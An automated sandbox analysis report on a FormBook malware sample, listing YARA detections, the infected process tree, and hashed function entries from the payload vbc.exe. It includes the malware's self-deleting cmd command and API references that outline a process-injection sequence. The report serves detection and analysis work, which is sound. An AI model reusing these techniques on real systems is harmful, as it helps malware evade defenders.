00000005.00000002.2206934673.0000000000190000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000002.2206934673.0000000000190000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000002.2206743064.00000000000F0000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.2206743064.00000000000F0000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000002.2206743064.00000000000F0000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 1388 Parent PID: 2936

General

Start time:	11:55:20
Start date:	16/06/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0xffca0000
File size:	3229696 bytes
MD5 hash:	38AE1B3C38FAEF56FE4907922F0385BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: netsh.exe PID: 1604 Parent PID: 1388

General

Start time:	11:55:31
Start date:	16/06/2021
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\netsh.exe
Imagebase:	0x13b0000
File size:	96256 bytes
MD5 hash:	784A50A6A09C25F011C3143DDD68E729
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000002.2371233155.0000000000080000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000002.2371233155.0000000000080000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000002.2371233155.0000000000080000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000002.2371354059.0000000000180000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000002.2371354059.0000000000180000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000002.2371354059.0000000000180000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000002.2371384803.00000000001B0000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000002.2371384803.00000000001B0000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000002.2371384803.00000000001B0000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exe PID: 2296 Parent PID: 1604

General

Start time:	11:55:37
Start date:	16/06/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del 'C:\Users\Public\vbc.exe'
Imagebase:	0x4a020000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: vbc.exe PID: 2336 Parent PID: 2660 vbc.exeCOMMON

Executed Functions

Function 001EC966, Relevance: 2.6, Strings: 2, Instructions: 150COMMON

Download Yara Rule

Strings

r-l, xrefs: 001ECB41
&*_F, xrefs: 001ECA6E

Memory Dump Source

Source File: 00000004.00000002.2169021644.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID: &*_F$r-l
API String ID: 0-2382124116
Opcode ID: 0a319608686e993ebf2c7360c679a784e0b86e4b08d4a18e677af6996999854e
Instruction ID: fe875144819044f7fd13e5ce2a0aa3444e8bba728a8eea1ea9edf4fa6942c5c4
Opcode Fuzzy Hash: 0a319608686e993ebf2c7360c679a784e0b86e4b08d4a18e677af6996999854e
Instruction Fuzzy Hash: AC5129B4E046498FCB08CFAAD9515AEFBF2BF88340F24D52AD41AB7254D7345942CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0045A238, Relevance: 1.7, APIs: 1, Instructions: 179COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(00000000,?), ref: 0045A3F4

Memory Dump Source

Source File: 00000004.00000002.2169090703.0000000000450000.00000040.00000001.sdmp, Offset: 00450000, based on PE: false

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 760a84fa6dd7b182b78e81af05a56ca1348eaaf94126611b164d8fecb9754223
Instruction ID: 7eb06c97cc777cf01ed4af0de6cf0ebada8c5f14b81167670db481bd90ff65a5
Opcode Fuzzy Hash: 760a84fa6dd7b182b78e81af05a56ca1348eaaf94126611b164d8fecb9754223
Instruction Fuzzy Hash: F981DD70D042188FDB20CFA9C884B9EFBB1BB49304F24816AE819AB351DB74A985CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0045A7C0, Relevance: 1.6, APIs: 1, Instructions: 119COMMON

Download Yara Rule

APIs

FindWindowA.USER32(?,?), ref: 0045A8BD

Memory Dump Source

Source File: 00000004.00000002.2169090703.0000000000450000.00000040.00000001.sdmp, Offset: 00450000, based on PE: false

Similarity

API ID: FindWindow
String ID:
API String ID: 134000473-0
Opcode ID: 51fe048b719264acde198c388c7ff6ea4ea8debcca8381b9baa9ef94e5308bce
Instruction ID: d3dce6d0beb4032a69f51e537c553bf6a4f49069c61a614ee2166508565b152c
Opcode Fuzzy Hash: 51fe048b719264acde198c388c7ff6ea4ea8debcca8381b9baa9ef94e5308bce
Instruction Fuzzy Hash: 7641F2B0D002089FDB10DFA9D885B9EBBF0BF49305F20952AE815BB351D7749845CF46

Uniqueness

Uniqueness Score: -1.00%

Function 001EC039, Relevance: 1.5, Strings: 1, Instructions: 261COMMON

Download Yara Rule

Strings

5/4, xrefs: 001EC286

Memory Dump Source

Source File: 00000004.00000002.2169021644.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID: 5/4
API String ID: 0-2912815685
Opcode ID: 037829b87cca56520751754cab6f3ba4f465e99461c480c1cac9c68e96ad6099
Instruction ID: e1f91113c7587a38883ae650e1e1abfd0483c122fd4eb996e2c16279712dd25f
Opcode Fuzzy Hash: 037829b87cca56520751754cab6f3ba4f465e99461c480c1cac9c68e96ad6099
Instruction Fuzzy Hash: 67B17A70E052889FCB15CFA9C9949DEFFB2AF89300F14806AD405BB365D7749A46CF51

Uniqueness

Uniqueness Score: -1.00%

Function 001EC3B0, Relevance: 1.5, Strings: 1, Instructions: 249COMMON

Download Yara Rule

Strings

DY, xrefs: 001EC61F

Memory Dump Source

Source File: 00000004.00000002.2169021644.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID: DY
API String ID: 0-364762337
Opcode ID: a3fd70875d848f3376a0d70e2368821d297cd9b5812bd15ce0b448d39fe7eaa7
Instruction ID: 9b8c92952ae0173dd1e30c57feeaec131cc6f3a89596bf4bcd13b0241107f777
Opcode Fuzzy Hash: a3fd70875d848f3376a0d70e2368821d297cd9b5812bd15ce0b448d39fe7eaa7
Instruction Fuzzy Hash: 36B11B74E10259DFCB54DFA9D88099EBBB2FF88300F108629E519AB355DB34AD46CF90

Uniqueness

Uniqueness Score: -1.00%

Function 001EC0E8, Relevance: 1.5, Strings: 1, Instructions: 201COMMON

Download Yara Rule

Strings

5/4, xrefs: 001EC286

Memory Dump Source

Source File: 00000004.00000002.2169021644.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID: 5/4
API String ID: 0-2912815685
Opcode ID: 363a14e8fead58ffd6058493787560de25d62512928d9aa8ed35bb0ecc293ecf
Instruction ID: 200d05e1723d8e6f889fe60a88ff1c489c911f0ccedc4adf76446efbf792ae33
Opcode Fuzzy Hash: 363a14e8fead58ffd6058493787560de25d62512928d9aa8ed35bb0ecc293ecf
Instruction Fuzzy Hash: 5681B374E00659CFCB08CFAAC9846DEFBB2BF89300F24842AD419BB264D7749946CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00450A80, Relevance: 1.4, Strings: 1, Instructions: 150COMMON

Download Yara Rule

Strings

@2, xrefs: 00450B11

Memory Dump Source

Source File: 00000004.00000002.2169090703.0000000000450000.00000040.00000001.sdmp, Offset: 00450000, based on PE: false

Similarity

API ID:
String ID: @2
API String ID: 0-2189355453
Opcode ID: 27d389316d0201f448fbf36eab62e0958e2aea53fe434ca4e6314f7e0f2a659b
Instruction ID: 02923908934ddbbe3ccaa4d0fdc4dfd03d5a341db715fe70e84fdfeedd7fa164
Opcode Fuzzy Hash: 27d389316d0201f448fbf36eab62e0958e2aea53fe434ca4e6314f7e0f2a659b
Instruction Fuzzy Hash: 7F61E574A012188FDB58DFAAC940B8EF7F3BF88305F14C5AAD409AB216D7349A85CF55

Uniqueness

Uniqueness Score: -1.00%

Function 004559B9, Relevance: .3, Instructions: 269COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2169090703.0000000000450000.00000040.00000001.sdmp, Offset: 00450000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d775ffab9a4fdfc359bf971cb33a71197bc64e6b9e15f715e72f45478127c30c
Instruction ID: 679cad949441f5106909e953ffe6cad84e341424a957255a24216b097326b321
Opcode Fuzzy Hash: d775ffab9a4fdfc359bf971cb33a71197bc64e6b9e15f715e72f45478127c30c
Instruction Fuzzy Hash: B4B16974E016098FCB04CFE9C5805EEFBF2BF89315F648526D809AB315D738A946CB69

Uniqueness

Uniqueness Score: -1.00%

Function 001E9610, Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2169021644.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd9e908246a1476e29ed244687187dea3b1afaa85a5ba65152bf499bac2379e1
Instruction ID: e07cfba7912998ed42d652be25eb54ec9ef830d0dc9d7c0ae473300306d99d0a
Opcode Fuzzy Hash: bd9e908246a1476e29ed244687187dea3b1afaa85a5ba65152bf499bac2379e1
Instruction Fuzzy Hash: B1A12770D0065CCFDF14DFA6C840BEEBBB6BF99309F54806AD408AB255EB305A868F51

Uniqueness

Uniqueness Score: -1.00%

Function 001ED2E1, Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2169021644.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 322b8da498ab845ddd1c66afcbac94871fc5fa474726febd7d0c19f7b3d437c1
Instruction ID: 4bdbc3fd7d6391921286da8d40f38c07822ec2d661e1e04d7f7c61e024b3a3b6
Opcode Fuzzy Hash: 322b8da498ab845ddd1c66afcbac94871fc5fa474726febd7d0c19f7b3d437c1
Instruction Fuzzy Hash: 6831F871E006588FDB18CFA6D8447DEBBB3AFC9310F14C16AD409AA264DB351A85CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00458110, Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 323processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 004583D7

Strings

v", xrefs: 0045851F
v", xrefs: 0045845A
v", xrefs: 0045832A

Memory Dump Source

Source File: 00000004.00000002.2169090703.0000000000450000.00000040.00000001.sdmp, Offset: 00450000, based on PE: false

Similarity

API ID: CreateProcess
String ID: v"$ v"$ v"
API String ID: 963392458-3584575316
Opcode ID: e338a444d210b61a953926f06f3fbc7517b07ce460ea49295e11ddeb740d9e04
Instruction ID: a6dc2fd760be79b4bd09aff952d1be78d945bb94ce02626d82b27cfda6e84f89
Opcode Fuzzy Hash: e338a444d210b61a953926f06f3fbc7517b07ce460ea49295e11ddeb740d9e04
Instruction Fuzzy Hash: 62C14970D0021D8FDB20CFA4C8457EEBBB1BF49305F1085AAD819B7241DB749A85CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00457D78, Relevance: 1.6, APIs: 1, Instructions: 118injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00457E4B

Memory Dump Source

Source File: 00000004.00000002.2169090703.0000000000450000.00000040.00000001.sdmp, Offset: 00450000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: e066ea58ff68c3ffef4bc9f2303371f1f695043340a447b2768b9e2a7d0ca3a5
Instruction ID: 0a962a0ceca84062e9d2201d35865d1928ff5dc9ec17f99551bac130aac19b98
Opcode Fuzzy Hash: e066ea58ff68c3ffef4bc9f2303371f1f695043340a447b2768b9e2a7d0ca3a5
Instruction Fuzzy Hash: C24199B5D052589FCF00CFA9D984AEEBBF1BF49314F24942AE815B7210D738AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00457ED8, Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00457F8A

Memory Dump Source

Source File: 00000004.00000002.2169090703.0000000000450000.00000040.00000001.sdmp, Offset: 00450000, based on PE: false

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 268f1513d3d3535ea6e1f98b48ccd42d2ddd968fed5f0c88ddb0878eb3496689
Instruction ID: 73923b79eec974619118daaac381722e44ef9665495f4a4ac4b53821b695d6e2
Opcode Fuzzy Hash: 268f1513d3d3535ea6e1f98b48ccd42d2ddd968fed5f0c88ddb0878eb3496689
Instruction Fuzzy Hash: 1441AAB5D042589FCF10CFA9D884AEEFBB1BF49314F10942AE815B7200D739A945CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00457C48, Relevance: 1.6, APIs: 1, Instructions: 105memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 00457CFA

Memory Dump Source

Source File: 00000004.00000002.2169090703.0000000000450000.00000040.00000001.sdmp, Offset: 00450000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 401d59610d58bab86e5cabd242c0926171311a982b99131122f8a491ac63bcea
Instruction ID: 3494872d0e5377d599b1787b204c95d34161ffec09b4c0c6ea04c617cfa2494a
Opcode Fuzzy Hash: 401d59610d58bab86e5cabd242c0926171311a982b99131122f8a491ac63bcea
Instruction Fuzzy Hash: F34188B9D042589FCF10CFA9E884AEEFBB1BF49314F10A42AE815B7210D735A946CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00457C50, Relevance: 1.6, APIs: 1, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 00457CFA

Memory Dump Source

Source File: 00000004.00000002.2169090703.0000000000450000.00000040.00000001.sdmp, Offset: 00450000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 53ae568bdf5c7d1dd9fb72c359745a79606669944ab029f83a4e413555d57765
Instruction ID: 5df60e4c8e610aa616fc76f78a8c09021e41fd3282f1a3d3b5eccde79df25c25
Opcode Fuzzy Hash: 53ae568bdf5c7d1dd9fb72c359745a79606669944ab029f83a4e413555d57765
Instruction Fuzzy Hash: A54199B8D042589FCF10CFA9E884ADEBBB5BF49314F10942AE815B7210D735A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00453C60, Relevance: 1.6, APIs: 1, Instructions: 99memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 00453D0F

Memory Dump Source

Source File: 00000004.00000002.2169090703.0000000000450000.00000040.00000001.sdmp, Offset: 00450000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 8437cd314ebaa7109d2f8ea2d8d91b3ee37d0623bde002bd2d5275f0d60cd933
Instruction ID: 7d727cbc8055eaef61cb5f866302829d705674598af07dd42b0ca0375d858300
Opcode Fuzzy Hash: 8437cd314ebaa7109d2f8ea2d8d91b3ee37d0623bde002bd2d5275f0d60cd933
Instruction Fuzzy Hash: A63198B9D002589FCF10CFA9D884ADEFBB5BB49310F24942AE814B7310D735AA49CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00453C68, Relevance: 1.6, APIs: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 00453D0F

Memory Dump Source

Source File: 00000004.00000002.2169090703.0000000000450000.00000040.00000001.sdmp, Offset: 00450000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 4a7b5a659ef11e7b8d386f45da7d31dda15a7f4fad048f9ab087f028a28ccc74
Instruction ID: f802822527e225a13261b1657cb4f60d7c448c695214cff844dc4aa7b61b8c48
Opcode Fuzzy Hash: 4a7b5a659ef11e7b8d386f45da7d31dda15a7f4fad048f9ab087f028a28ccc74
Instruction Fuzzy Hash: 2431A8B8D002589FCF10CFA9D884ADEFBB0BB49310F24902AE814B7310D735AA49CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00457B20, Relevance: 1.6, APIs: 1, Instructions: 96threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 00457BCF

Memory Dump Source

Source File: 00000004.00000002.2169090703.0000000000450000.00000040.00000001.sdmp, Offset: 00450000, based on PE: false

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: c9c4f4de99c816cc7a9bc9a2878286c983b8b85760ee1d6fa23284cdf3abc070
Instruction ID: 6fc1630e7abefa88047016a0661f2f7803781c814489c72f6e1f4af118c3f201
Opcode Fuzzy Hash: c9c4f4de99c816cc7a9bc9a2878286c983b8b85760ee1d6fa23284cdf3abc070
Instruction Fuzzy Hash: 4641ACB4D052589FDB10CFA9D884AEEFBF1BF49314F24842AE815B7241D738A985CF54

Uniqueness

Uniqueness Score: -1.00%

Function 004573C8, Relevance: 1.6, APIs: 1, Instructions: 77threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 0045744E

Memory Dump Source

Source File: 00000004.00000002.2169090703.0000000000450000.00000040.00000001.sdmp, Offset: 00450000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 53939a33e296e6a77da88905d056598529b11d3f5e2fb3f55e274a11b7ba3590
Instruction ID: b55031023b7fb00d97f192ddf709c69401644e7d9f61bd1f7eab2a30f55cb7fa
Opcode Fuzzy Hash: 53939a33e296e6a77da88905d056598529b11d3f5e2fb3f55e274a11b7ba3590
Instruction Fuzzy Hash: 2A31D9B4D052189FCF10CFA9E884AEEFBB0AF49314F24942AE815B7301C735A946CF94

Uniqueness

Uniqueness Score: -1.00%

Function 004573D0, Relevance: 1.6, APIs: 1, Instructions: 75threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 0045744E

Memory Dump Source

Source File: 00000004.00000002.2169090703.0000000000450000.00000040.00000001.sdmp, Offset: 00450000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 7d5d2886f2238a8001786e20f0c3516b42a25372f3d0d696b28932f04adae14f
Instruction ID: e506a1838cd75a1c149e7d97da00ade4edcf7da018c18e244818de354d4d0896
Opcode Fuzzy Hash: 7d5d2886f2238a8001786e20f0c3516b42a25372f3d0d696b28932f04adae14f
Instruction Fuzzy Hash: C831BAB4D012189FCF10CFA9E884ADEFBB4AF49314F14942AE815B7300D735A945CF99

Uniqueness

Uniqueness Score: -1.00%

Function 001ECCC1, Relevance: 1.3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

Strings

8[zT, xrefs: 001ECD47

Memory Dump Source

Source File: 00000004.00000002.2169021644.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID: 8[zT
API String ID: 0-3454323346
Opcode ID: 30ebbde2c97a33208fc6902207affde16a740a13ea94581d8d98f18d7ca3c3e3
Instruction ID: 4f76411f2d98ecfeff95a5d36e4383e0431de946def898ecd1a02180d4fa149d
Opcode Fuzzy Hash: 30ebbde2c97a33208fc6902207affde16a740a13ea94581d8d98f18d7ca3c3e3
Instruction Fuzzy Hash: BB310874E05649DFCB48CFEAD98159EBBF2BF89300F25C4AAC414AB315D3309A458F91

Uniqueness

Uniqueness Score: -1.00%

Function 001EB855, Relevance: 1.3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

Strings

(2, xrefs: 001EB7F4

Memory Dump Source

Source File: 00000004.00000002.2169021644.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID: (2
API String ID: 0-3300553509
Opcode ID: 364583323ec267e65216d3d0b70984e74d8fbf848ab7ad4a36c4e0cc337e98e3
Instruction ID: a5789f8858098c7503be00a0ffeea23a4ef58205071e956b9a48684ac632d69e
Opcode Fuzzy Hash: 364583323ec267e65216d3d0b70984e74d8fbf848ab7ad4a36c4e0cc337e98e3
Instruction Fuzzy Hash: F6F01C74A04269CFDB20CFA1D940B8EBA76AF59340F1091AAD045AB294D7305E41CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 001EB7DF, Relevance: 1.3, Strings: 1, Instructions: 19COMMON

Download Yara Rule

Strings

(2, xrefs: 001EB7F4

Memory Dump Source

Source File: 00000004.00000002.2169021644.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID: (2
API String ID: 0-3300553509
Opcode ID: b2b266f198f0cdd51327d73dad26c8cf49ebe309caa9cf1b581abc265670ee84
Instruction ID: 0a7508f61e779adb3fcaa02c7a87b5219db951571d5e4700aeefd69a337afd26
Opcode Fuzzy Hash: b2b266f198f0cdd51327d73dad26c8cf49ebe309caa9cf1b581abc265670ee84
Instruction Fuzzy Hash: 5CE03070A00229CFEB24CFA0D940F9AB6B2AF59340F1084AAD045AB294D7305E41CF65

Uniqueness

Uniqueness Score: -1.00%

Function 001E0A8A, Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2169021644.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d401a134b52499a1222ad1bacf757a042dc19ebef6eb529215245b52d23b2c08
Instruction ID: a645b74b89a864ccdf0840997d2b67ff01d0658a5c3dd7d908cc8126f35a193e
Opcode Fuzzy Hash: d401a134b52499a1222ad1bacf757a042dc19ebef6eb529215245b52d23b2c08
Instruction Fuzzy Hash: 2D71E3347046848FD719CB6AC850BAEB3F2EF8D318F264869D506EB391DBB1DC818B51

Uniqueness

Uniqueness Score: -1.00%

Function 001E2F30, Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2169021644.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc4f75d21220cbe7cebf872803aaa2a26cc0e1a2b961ceaacdcd160a35ffce4f
Instruction ID: c8e586520d822103001bb0faf5a1229540f070bd41080feaf9f6f0d91d6c3b57
Opcode Fuzzy Hash: bc4f75d21220cbe7cebf872803aaa2a26cc0e1a2b961ceaacdcd160a35ffce4f
Instruction Fuzzy Hash: 2991D474E01258CFDB14DFA9D948A9DBBB2FF89304F1080A9E51AAB351DB305D85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 001E2F1F, Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2169021644.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3f7169e8157c1d06cc5606c0e51a602241c5992dece5d795dfb90e6cfedf1b0
Instruction ID: 281f15a75513d8fcb0cbe27d1e13e8f2f0e1a2387e2f47481be1437bfcb56732
Opcode Fuzzy Hash: d3f7169e8157c1d06cc5606c0e51a602241c5992dece5d795dfb90e6cfedf1b0
Instruction Fuzzy Hash: 9891F774E01258CFDB14DFA9D988A9DBBB2FF89304F1180AAE519AB361DB305D85CF11

Uniqueness

Uniqueness Score: -1.00%

Function 001E9B69, Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2169021644.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8b518b33289a4f3159e5685a4c73650016854f35f3f1cde7f58328ad4ebd261
Instruction ID: 29693efe71a64901c5d464e34413fe0041ed537b620001fdb20e877a4d39819a
Opcode Fuzzy Hash: b8b518b33289a4f3159e5685a4c73650016854f35f3f1cde7f58328ad4ebd261
Instruction Fuzzy Hash: CD513874E006998FCB04DFEAD844AEEBBF7BB98319F608525D019AB344EB3498418F50

Uniqueness

Uniqueness Score: -1.00%

Function 001E0490, Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2169021644.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26dc14832b88aef3f9131a7e246d260900f34375f8da155ec45b0b01a3bbe388
Instruction ID: 7e5df35f6db36fc13e4e3d8585b863795e8d1037128deae97ad5705a4cac2206
Opcode Fuzzy Hash: 26dc14832b88aef3f9131a7e246d260900f34375f8da155ec45b0b01a3bbe388
Instruction Fuzzy Hash: 88414874D04249DFCB45DFE6E9486ADBBB1FF48300F208829E506B7240EBB45A85DF65

Uniqueness

Uniqueness Score: -1.00%

Function 001E2290, Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2169021644.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d75f4810ccc3304cc979a263ea0d6906f167d24635798d8ed0f4c26f0ec4395
Instruction ID: a1009a6f78780ec0f70a08fd6daacdee5190108241d113fb311ad7988143efe4
Opcode Fuzzy Hash: 5d75f4810ccc3304cc979a263ea0d6906f167d24635798d8ed0f4c26f0ec4395
Instruction Fuzzy Hash: 9331C930B046818BEB189B66D86573E777AFB88300F244434E606D7784EF38CD85CB52

Uniqueness

Uniqueness Score: -1.00%

Function 001E0480, Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2169021644.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73271bef394fb512b4dee59186ef3dbc37357d179281152d12ab3c2ef7341bd4
Instruction ID: 743b947f63874a8f5327dd92b56f8a6b3fd23dc806f762cdc543971a270090f0
Opcode Fuzzy Hash: 73271bef394fb512b4dee59186ef3dbc37357d179281152d12ab3c2ef7341bd4
Instruction Fuzzy Hash: 0D413974D04249DFCB05DFE5E988AADBBB1FF48300F208829E506BB250EBB45D859F65

Uniqueness

Uniqueness Score: -1.00%

Function 001E2281, Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2169021644.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6289608525a64e258b3aecd6ffba19eb7ce2db9002461dbc595512b790f07381
Instruction ID: 4771eb71d8bb7df5a1addd4f42db31a693e58aea7eee2ddb11f6b708126b274d
Opcode Fuzzy Hash: 6289608525a64e258b3aecd6ffba19eb7ce2db9002461dbc595512b790f07381
Instruction Fuzzy Hash: 9831BB307046818FDB189BB9D86577E7B7AFB89300F144439E6069B784DF788D85CB51

Uniqueness

Uniqueness Score: -1.00%

Function 001E2BC0, Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2169021644.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16d7cdbbd4139e01747b8d375b217576b8b32503b2a74641c156143bd314698b
Instruction ID: 8bba42a8431390e0c63e4951e263fb433f5374ebf5322d7de233cb4a2cc3952d
Opcode Fuzzy Hash: 16d7cdbbd4139e01747b8d375b217576b8b32503b2a74641c156143bd314698b
Instruction Fuzzy Hash: 2F2128717049919BF71C967BEC30B6F629EEB94744F314435E906CB6D0EBB4CC8682A1

Uniqueness

Uniqueness Score: -1.00%

Function 001E0AC2, Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2169021644.00000000001E0000.00000040.00000001.sdmp, Offset: 001E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b13cff735687e403751825d0bb5cfcc0de4dac58e2ac2389ed3cdb402ec02f0
Instruction ID: 673666da9b75601cb817eb8b3f059fb80f8df07ff7da5bb1cfb3cfb8ace1b39b
Opcode Fuzzy Hash: 3b13cff735687e403751825d0bb5cfcc0de4dac58e2ac2389ed3cdb402ec02f0
